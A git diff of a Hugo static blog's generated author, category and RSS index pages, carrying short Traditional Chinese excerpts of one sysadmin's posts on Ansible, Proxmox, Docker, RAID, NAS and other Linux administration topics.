+<p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> + +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> + + [ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr + https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ + Tue, 23 Jul 2019 15:06:37 +0800 + + https://h.cowbay.org/post/ansible-run-task-depends-on-ipaddr/ + <p>因為工作上的需要,要修改client端的 /etc/environment 檔案</p> + +<p>在有權限使用proxy 服務的user的環境中,加入proxy 的設定</p> + +<p>原本的清單中,有host/user/ip 這幾個值可以拿來判斷</p> + +<p>proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment</p> + + [ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file + https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ + Mon, 01 Jul 2019 09:06:12 +0800 + + https://h.cowbay.org/post/ansible-selectattr-from-list-in-dictionary/ + <p>在ansible中,關於如何引用自定義的變數,一直讓我很頭疼</p> + +<p>尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數</p> + +<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> + + linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral + https://h.cowbay.org/post/remote-management-system-meshcentral/ + Thu, 20 Jun 2019 11:03:12 +0800 + + https://h.cowbay.org/post/remote-management-system-meshcentral/ + <p>之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體</p> + +<p>但是如果要過 internet ,就會碰到各種開port的問題</p> + +<p>在這種環境下,就有了當時 teamviewer 的橫空出世</p> + +<p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> + +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> + + Install Asus 10G NIC XG-C100C in Proxmox + https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ + Mon, 17 Jun 2019 13:20:57 +0800 + + https://h.cowbay.org/post/install-asus-10g-nic-in-proxmox/ + <p>前幾天接的一個case</p> + +<p>因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)</p> + +<p>改採用比較高階一點的洋垃圾,規格大概是 Intel E5-2680V2 x2 + 64G RAM + 128G SSD x2 (OS) + 960G SSD x4 (raid 10 , zfs)</p> + +<p>storage 選擇QNAP NAS TS-932X + 960G SSD x 4 (raid 10 , NFS) + QNAP 10G Switch QSW-1280C-8C</p> + +<p>既然storage這邊選用了10G的機種,伺服器上當然也要增加10G網卡</p> + +<p>一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡</p> + + [筆記] 修改 docker 容器內的時區 - Change Timezone in Docker + https://h.cowbay.org/post/change-timezone-in-docker/ + Tue, 21 May 2019 17:25:15 +0800 + + https://h.cowbay.org/post/change-timezone-in-docker/ + <p>最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致</p> + +<p>有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的&hellip;.</p> + + Transfer File Content Using Xclip in Terminal + https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ + Fri, 17 May 2019 12:18:54 +0800 + + https://h.cowbay.org/post/transfer-file-content-using-xclip-in-terminal/ + <p>工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。</p> + +<p>以前都是傻傻的用 scp 傳檔案</p> + +<p>之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行</p> + +<p>早上研究了一下,順便做個筆記。</p> + + [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + Tue, 23 Apr 2019 15:28:56 +0800 + + https://h.cowbay.org/post/inx-collect-detail-hardware-info/ + <p>最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了&hellip;.</p> + +<p>然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著</p> + +<p>所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!</p> + +<p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> + +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> + + + \ No newline at end of file diff --git a/public/author/eric-chang/page/3/index.html b/public/author/eric-chang/page/3/index.html index f08ef4c4..a4cbff1a 100644 --- a/public/author/eric-chang/page/3/index.html +++ b/public/author/eric-chang/page/3/index.html @@ -1,742 +1,153 @@ - - - - - - - - - - - Eric Chang | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Eric Chang | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
+
+ +
+
+

Eric Chang

+ +
+
+ +
+
+

[筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

+

最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

+

然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

-
- - - -
- - - - - -
- - - - -
-

[筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

-
- - - 2019-04-23 - - - - - - - - - 筆記 - - - +

所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

- - Eric Chang - -
+

也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

- -

今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

+

然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

+
+
+ +
+
+

[筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

+

今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)

-

所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

- -

- - - - - -
- - - - +

所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

- - -
- -
- - - - - -
- - - - -
-

[筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

-
- - - 2019-04-01 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

+
+ +
+
+

[筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

+

今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate

-

可是一直出現device busy的錯誤訊息

- -

- - - - - -
- - - - +

可是一直出現device busy的錯誤訊息

- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
- - - - -
-

[筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL

-
- - - 2019-03-20 - - - - - - - - - Eric Chang - -
- - -

今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信

+
+ +
+
+

[筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL

+

今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信

然後google 不知道跟人家改了什麼,結果不接受原本的認證了… WTF ….

-

然後,這問題應該很久了,結果現在才在講 ….

- - - - - -
- - - - +

然後,這問題應該很久了,結果現在才在講 ….

- - -
- -
- - - - - -
- - - - -
-

Install Timeshift on Ubuntu1804

-
- - - 2019-03-11 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

+
+ +
+
+

Install Timeshift on Ubuntu1804

+

最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體

可以很簡單快速的備份、恢復系統狀態

-

可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

- -

- - - - - -
- - - - +

可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
- - - - -
-

Ubuntu 1804 Install Root on Raid

-
- - - 2019-01-16 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

+
+ +
+
+

Ubuntu 1804 Install Root on Raid

+

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

-

結果在安裝過程中,做raid碰到一些問題,來紀錄一下

- -

- - - - - -
- - - - +

結果在安裝過程中,做raid碰到一些問題,來紀錄一下

- - -
- -
- - - - - -
- - - - -
-

[筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

-
- - - 2018-12-13 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

+
+ +
+
+

[筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

+

這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10

然後把Freenas 安裝在隨身碟上

-

不過會一直出現Smartd failed to start 的錯誤訊息

- -

- - - - - -
- - - - +

不過會一直出現Smartd failed to start 的錯誤訊息

- - -
- -
- - - - - -
- - - - -
-

[碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild

-
- - - 2018-12-12 - - - - - - - - - 碎念 - - - - - - Eric Chang - -
- - -

最近在做一台老機器的P2V

+
+ +
+
+

[碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild

+

最近在做一台老機器的P2V

偏偏user說不能關機,所以我用dd + ssh 做線上移轉

@@ -744,348 +155,29 @@

只是因為原來的設定有用mdadm 做raid1

-

這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

- -

- - - - - -
- - - - +

這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

- - -
- -
- - - - - -
- - - - -
-

[筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment

-
- - - 2018-12-07 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

因為工作的關係,現在很多時間都花在VIM的操作上

- -

所以之前花了滿多時間,調整出一個適合自己的VIM環境

- -

原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面

- -

然後每到一台新的機器,就要去clone 下來

- -

- - - - - -
- - - + +
+
+ + - - - -
- - - -
- - - - - - - -
- - - - - - -
- + +
+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/author/eric-chang/page/3/index.xml b/public/author/eric-chang/page/3/index.xml new file mode 100644 index 00000000..b59d7a4b --- /dev/null +++ b/public/author/eric-chang/page/3/index.xml @@ -0,0 +1,131 @@ + + + Eric Chang - MCの飄狂山莊㊣ + https://h.cowbay.org/author/eric-chang/ + Recent content in Eric Chang on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + [筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp + https://h.cowbay.org/post/log-all-bash-commands/ + Tue, 23 Apr 2019 15:08:36 +0800 + + https://h.cowbay.org/post/log-all-bash-commands/ + <p>今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案</p> + +<p>居然不知為何自己產生了,在我記憶中沒有去執行過那個指令</p> + +<p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> + +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> + + [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup + https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ + Mon, 01 Apr 2019 15:56:27 +0800 + + https://h.cowbay.org/post/fix-zpool-device-busy-using-dmsetup/ + <p>今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試</p> + +<p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> + +<p>可是一直出現device busy的錯誤訊息</p> + + [筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using rsync + https://h.cowbay.org/post/transfer-cent62-using-rsync/ + Wed, 27 Mar 2019 17:44:49 +0800 + + https://h.cowbay.org/post/transfer-cent62-using-rsync/ + <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> + +<p>看起來不難搞,事實上&hellip;..</p> + + [筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL + https://h.cowbay.org/post/command_to_test_main_ssl/ + Wed, 20 Mar 2019 11:42:47 +0800 + + https://h.cowbay.org/post/command_to_test_main_ssl/ + <p>今天老闆出國,發slack說手機不能寄信,看了一下,似乎是因為用GMAIL的APP來收信</p> + +<p>然後google 不知道跟人家改了什麼,結果不接受原本的認證了&hellip; WTF &hellip;.</p> + +<p>然後,這問題應該很久了,結果現在才在講 &hellip;.</p> + + Install Timeshift on Ubuntu1804 + https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ + Mon, 11 Mar 2019 14:02:30 +0800 + + https://h.cowbay.org/post/install-timeshift-on-ubuntu1804/ + <p>最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook</p> + +<p>因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體</p> + +<p>可以很簡單快速的備份、恢復系統狀態</p> + +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> + + 用DELL 6 i/R 建立RAID,並在上面安裝ubuntu 18.04 + https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ + Wed, 16 Jan 2019 16:17:05 +0800 + + https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ + <p>買了一張 DELL 6/iR 低階的raid 卡</p> + +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> + + Ubuntu 1804 Install Root on Raid + https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ + Wed, 16 Jan 2019 09:58:50 +0800 + + https://h.cowbay.org/post/ubuntu-1804-install-root-on-raid/ + <p>最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上</p> + +<p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> + +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> + + [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas + https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ + Thu, 13 Dec 2018 17:40:20 +0800 + + https://h.cowbay.org/post/smartd-failed-to-start-in-freenas/ + <p>這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage &amp; Server Backup</p> + +<p>因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10</p> + +<p>然後把Freenas 安裝在隨身碟上</p> + +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> + + [碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild + https://h.cowbay.org/post/incredibly-slow-mdadm-rebuild/ + Wed, 12 Dec 2018 11:10:22 +0800 + + https://h.cowbay.org/post/incredibly-slow-mdadm-rebuild/ + <p>最近在做一台老機器的P2V</p> + +<p>偏偏user說不能關機,所以我用dd + ssh 做線上移轉</p> + +<p>這部份有空再來寫</p> + +<p>只是因為原來的設定有用mdadm 做raid1</p> + +<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> + + [筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim environment + https://h.cowbay.org/post/create-portable-vim-environment/ + Fri, 07 Dec 2018 15:19:47 +0800 + + https://h.cowbay.org/post/create-portable-vim-environment/ + <p>因為工作的關係,現在很多時間都花在VIM的操作上</p> + +<p>所以之前花了滿多時間,調整出一個適合自己的VIM環境</p> + +<p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> + +<p>然後每到一台新的機器,就要去clone 下來</p> + + + \ No newline at end of file diff --git a/public/author/eric-chang/page/4/index.html b/public/author/eric-chang/page/4/index.html index 2f788058..c1791c0e 100644 --- a/public/author/eric-chang/page/4/index.html +++ b/public/author/eric-chang/page/4/index.html @@ -1,137 +1,61 @@ - - - - - - - - - - - Eric Chang | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Eric Chang | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
- - -
- - - -
- - - - - -
- - - - -
-

[雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用

-
- - - 2018-12-04 - - - - - - - - - 群暉 - - - - - - Eric Chang - -
- - -

前幾天公司的一台 Synology DS 415+ 發生異常

+
+ +
+
+

Eric Chang

+ +
+
+ +
+ +
+ +
+
+

[雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用

+

前幾天公司的一台 Synology DS 415+ 發生異常

注意到的時候,四顆硬碟燈號都不斷的在閃爍

@@ -145,84 +69,14 @@

一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛…

-

不過主管還是希望能夠先問群暉維修的費用多少

- -

- - - - - -
- - - - +

不過主管還是希望能夠先問群暉維修的費用多少

- - -
- -
- - - - - -
- - - - -
-

[筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB

-
- - - 2018-11-30 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

想做一個 10G 的 LAB 環境出來已經很久了。

+
+ +
+
+

[筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB

+

想做一個 10G 的 LAB 環境出來已經很久了。

只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

@@ -238,161 +92,25 @@

就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到

-

今天就花了點時間測試一下

- -

- - - - - -
- - - - +

今天就花了點時間測試一下

- - -
- -
- - - - - - - - -
- -
- - - - - - - - -
- -
- - - - - -
- - - - -
-

[筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

-
- - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近在測試metabase,記得幾個月前就有測試過

+
+ +
+
+

[筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

+

最近在測試metabase,記得幾個月前就有測試過

但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

-

不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

- -

- - - - - -
- - - - +

不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

- - -
- -
- - - - - -
- - - - -
-

PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

-
- - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

因為工作上的需求,有個資料庫需要開放給不同team的人去存取

+
+ +
+
+

PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

+

因為工作上的需求,有個資料庫需要開放給不同team的人去存取

雖然都是在同一台機器上的同一個資料庫

但是希望能夠不同team的人用不同的資料庫使用者

-

這樣萬一出事,會比較好抓兇手??

- -

- - - - - -
- - - - +

這樣萬一出事,會比較好抓兇手??

- - -
- -
- - - - - -
- - - - -
-

[筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

-
- - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

+
+ +
+
+

[筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

+

這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

來到這個環境之後,有一個很詭異的狀況一直困擾著我

@@ -686,160 +198,26 @@

用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

-

問題就發生在這台 Build Server 上…

- -

- - - - - -
- - - - +

問題就發生在這台 Build Server 上…

- - -
- -
- - - - - -
- - - - -
-

Nice Du Report Tool Durep

-
- - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近在重新規劃前人留下的backup爛攤子 +

+ +
+
+

Nice Du Report Tool Durep

+

最近在重新規劃前人留下的backup爛攤子 各個伺服器統一備份到一台backup storage 想說如果每天能夠看到backup storage的磁碟用量的話 就可以抓出備份空間成長速度、推估需要多大的磁碟空間 找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

- - - - - -
- - - - +基本上可以滿足我的需求

- - -
- -
- - - - - -
- - - - -
-

Bookstack Docker

-
- - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

Bookstack 是一套非常好用的線上”筆記”系統

+
+ +
+
+

Bookstack Docker

+

Bookstack 是一套非常好用的線上”筆記”系統

他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

@@ -855,363 +233,29 @@

Bookstack則是沒有這些問題,不過就是系統「大」了點…

-

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

- -

- - - - - -
- - - - +

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

- - -
- -
- - - - - -
- - - - -
-

筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

-
- - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

- -

這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

- -

https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

- -

或者是這篇

- -

https://www.maketecheasier.com/mount-google-drive-ubuntu/

- -

但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

- -

- - - - - -
- - - + +
+ + + - - - -
- - - -
- - - - - - - -
- - - - - - - + + + + - - + diff --git a/public/categories/proxmox/index.xml b/public/categories/proxmox/index.xml index 93244d9f..c77a378c 100644 --- a/public/categories/proxmox/index.xml +++ b/public/categories/proxmox/index.xml @@ -1,10 +1,11 @@ - Proxmox on MCの飄狂山莊㊣ + Proxmox on MC部落 https://h.cowbay.org/categories/proxmox/ - Recent content in Proxmox on MCの飄狂山莊㊣ + Recent content in Proxmox on MC部落 Hugo -- gohugo.io + en-us Mon, 17 Jun 2019 13:20:57 +0800 diff --git a/public/categories/proxmox/page/1/index.xml/index.html b/public/categories/proxmox/page/1/index.xml/index.html new file mode 100644 index 00000000..c860ab0e --- /dev/null +++ b/public/categories/proxmox/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/categories/proxmox/ \ No newline at end of file diff --git a/public/categories/ps/index.html b/public/categories/ps/index.html index eb50d81b..58a93cb4 100644 --- a/public/categories/ps/index.html +++ b/public/categories/ps/index.html @@ -1,390 +1,423 @@ - - - - - - - - - - - Ps | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + PS + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + +
- - +
+ -
+ +
+ +
+

+ Category: PS + + + + rss + + +

+

Posts

+
+ +
+ +
+ +
+

+ + MC部落 + +

+ + +

What’s the Worst That Could Happen?

+ + + +
+ +

© 2018 Göran Svensson

+ +

Nederburg Hugo Theme by Appernetic.

+ +

A port of Tracks by Compete Themes.

+ +
+
+ + + + + - - + diff --git a/public/categories/ps/index.xml b/public/categories/ps/index.xml index be3d5439..3fb88c52 100644 --- a/public/categories/ps/index.xml +++ b/public/categories/ps/index.xml @@ -1,10 +1,11 @@ - Ps on MCの飄狂山莊㊣ + PS on MC部落 https://h.cowbay.org/categories/ps/ - Recent content in Ps on MCの飄狂山莊㊣ + Recent content in PS on MC部落 Hugo -- gohugo.io + en-us Mon, 05 Nov 2018 07:46:53 +0800 diff --git a/themes/public/categories/ps/page/1/index.html b/public/categories/ps/page/1/index.xml/index.html similarity index 100% rename from themes/public/categories/ps/page/1/index.html rename to public/categories/ps/page/1/index.xml/index.html diff --git a/public/categories/碎念/index.html b/public/categories/碎念/index.html index dc5369ff..fe616468 100644 --- a/public/categories/碎念/index.html +++ b/public/categories/碎念/index.html @@ -1,137 +1,336 @@ - - - - - - - - - - - 碎念 | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + 碎念 + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + +
+ +
+

+ Category: 碎念 + + + + rss + + +

+
+ +

Posts

+
+ + + + + + + + + + +
+ + + + + + + +
+
+ 12 December + + + + + + / + + + + + + + + + / + + 碎念 + + +
+ +
+
+

最近在做一台老機器的P2V

偏偏user說不能關機,所以我用dd + ssh 做線上移轉

@@ -141,263 +340,147 @@

這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

-

- - - - - -
- - - +
+
+ +
+
+
+ +

What’s the Worst That Could Happen?

+ - + - - +
+ +

© 2018 Göran Svensson

+ +

Nederburg Hugo Theme by Appernetic.

+ +

A port of Tracks by Compete Themes.

+ +
+
+ + + + - - + diff --git a/public/categories/碎念/index.xml b/public/categories/碎念/index.xml index 894be8d2..92195fd0 100644 --- a/public/categories/碎念/index.xml +++ b/public/categories/碎念/index.xml @@ -1,10 +1,11 @@ - 碎念 on MCの飄狂山莊㊣ + 碎念 on MC部落 https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5/ - Recent content in 碎念 on MCの飄狂山莊㊣ + Recent content in 碎念 on MC部落 Hugo -- gohugo.io + en-us Wed, 12 Dec 2018 11:10:22 +0800 @@ -24,9 +25,7 @@ <p>只是因為原來的設定有用mdadm 做raid1</p> -<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> - -<p></p> +<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> diff --git a/public/categories/碎念/page/1/index.xml/index.html b/public/categories/碎念/page/1/index.xml/index.html new file mode 100644 index 00000000..22c76253 --- /dev/null +++ b/public/categories/碎念/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5/ \ No newline at end of file diff --git a/public/categories/筆記/index.html b/public/categories/筆記/index.html index 3d2e708f..a428c87f 100644 --- a/public/categories/筆記/index.html +++ b/public/categories/筆記/index.html @@ -1,137 +1,397 @@ - - - - - - - - - - - 筆記 | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + 筆記 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + +
+ +
+

+ Category: 筆記 + + + + rss + + +

+
+ +

Posts

+
+ + + + + + + + + + +
+ + + + + + + +
+
+ 14 October + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+ +
+
+
+ + + + + + + + + + +
+ + + + + + + +
+
+ 20 September + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近都在弄postgresql

備份、還原測試得差不多了,就等著看到時候要用什麼方式

@@ -143,1002 +403,2044 @@

不過,反正當作練功嘛,多測試一套也不錯!

-

+ +
+
+
+
+ - - - - -
+ + + + + - - + + +
+ + + + + + + +
+
+ 06 September + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

前面測試了用pgbarman / pgbackrest 來備份 postgresql

-
+

這次改從system file level 來下手

- -
- -
- - - - +

採用zfs 的快照來備份、還原postgresql 資料庫

- +
+
+
+ + + + + + -
-

[筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd

-
- - - 2019-09-10 - - + + +
+ + + + + + + +
+
+ 05 September + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+ +
+
+
+ - + + + + + - - - - 筆記 - - - + + +
+ + + + + + + +
+
+ 23 August + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+ +
+
+
+ - - Eric Chang - -
+ + + + + - -

前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 -手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 -目標是看看有沒有可能直接用外接的SSD來跑postgresql

+ + +
+ + + + + + + +
+
+ 23 August + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

很久以前就有看到這個用來備份postgresql 的 pgbarman

- - - - -
+

https://www.pgbarman.org/

- - +
+
+ - -
+ + + + + - + + +
+ + + + + + + +
+
+ 20 August + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

因為老闆說要試試看用GPU 來跑postgresql 威力

- -
- -
- - - - +

手邊剛好有一張 geforce gt 720

- +
+
+
+ - + + + + + - - - - 筆記 - - - + + +
+ + + + + + + +
+
+ 16 August + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

- - Eric Chang - -
+

